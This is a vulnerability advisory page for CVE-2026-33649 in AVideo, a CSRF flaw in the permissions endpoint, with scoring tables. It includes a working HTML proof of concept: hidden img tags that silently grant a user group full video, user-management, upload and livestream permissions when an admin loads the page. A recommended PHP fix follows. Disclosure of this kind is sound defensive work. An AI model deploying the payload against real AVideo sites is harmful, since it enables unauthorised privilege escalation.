| Advisory ID | github_osv/GHSA-g8x9-7mgh-7cvj |
| Aliases |
CVE-2026-33649
|
| Summary | AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification ## Summary The `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. ## Details The root cause is a combination of three issues: **1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):** `plugin/Permissions/setPermission.json.php:14-24`: ```php $intvalList = array('users_groups_id','plugins_id','type','isEnabled'); foreach ($intvalList as $value) { if($_REQUEST[$value]==='true'){ $_REQUEST[$value] = 1; }else{ $_REQUEST[$value] = intval($_REQUEST[$value]); } } $obj = new stdClass(); $obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']); ``` The only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`. **2. Session cookies set to `SameSite=None`:** `objects/include_config.php:134-141`: ```php if ($isHTTPS) { // SameSite=None is intentional: AVideo supports cross-origin iframe embedding ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src="...">` tags on attacker-controlled pages. **3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:** The comment at `include_config.php:137-138` states: *"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not. **Execution flow:** 1. Attacker hosts a page containing `<img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true">` 2. Admin visits the page (e.g., via link in forum, email, or embedded content) 3. Browser issues GET request with the admin's `SameSite=None` session cookie 4. `User::isAdmin()` passes because the request carries the admin's session 5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2 6. Any user in group 2 (including the attacker) now has full video admin access The `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated. ## PoC **Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):** ```html <!DOCTYPE html> <html> <head><title>Interesting Video</title></head> <body> <h1>Check out this video!</h1> <!-- Each img tag silently fires a GET request with admin's session cookie --> <!-- PERMISSION_FULLACCESSVIDEOS (type=10) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'> <!-- PERMISSION_USERS (type=20) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'> <!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'> <!-- PERMISSION_CAN_LIVESTREAM (type=80) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'> </body> </html> ``` **Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)** **Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.** Expected response for each request (visible in browser dev tools): ```json {"id":"1"} ``` **Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.** ## Impact - **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page. - **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.). - **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders. - **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load. - **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker. ## Recommended Fix In `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation: ```php <?php header('Content-Type: application/json'); if (!isset($global['systemRootPath'])) { $configFile = '../../videos/configuration.php'; if (file_exists($configFile)) { require_once $configFile; } } if(!User::isAdmin()){ forbiddenPage("Not admin"); } // Enforce POST method and CSRF token if ($_SERVER['REQUEST_METHOD'] !== 'POST') { die(json_encode(array('error' => 'POST method required'))); } if (!isGlobalTokenValid()) { die(json_encode(array('error' => 'Invalid CSRF token'))); } $intvalList = array('users_groups_id','plugins_id','type','isEnabled'); foreach ($intvalList as $value) { if($_POST[$value]==='true'){ $_POST[$value] = 1; }else{ $_POST[$value] = intval($_POST[$value]); } } $obj = new stdClass(); $obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']); die(json_encode($obj)); ``` The AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.3 |
| Risk | 3.6 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g8x9-7mgh-7cvj/GHSA-g8x9-7mgh-7cvj.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| CVE-2026-33649 | https://nvd.nist.gov/vuln/detail/CVE-2026-33649 | |
| GHSA-g8x9-7mgh-7cvj | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-24T14:54:46Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33649.json
Source Advisory: vulnrichment/CVE-2026-33649
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]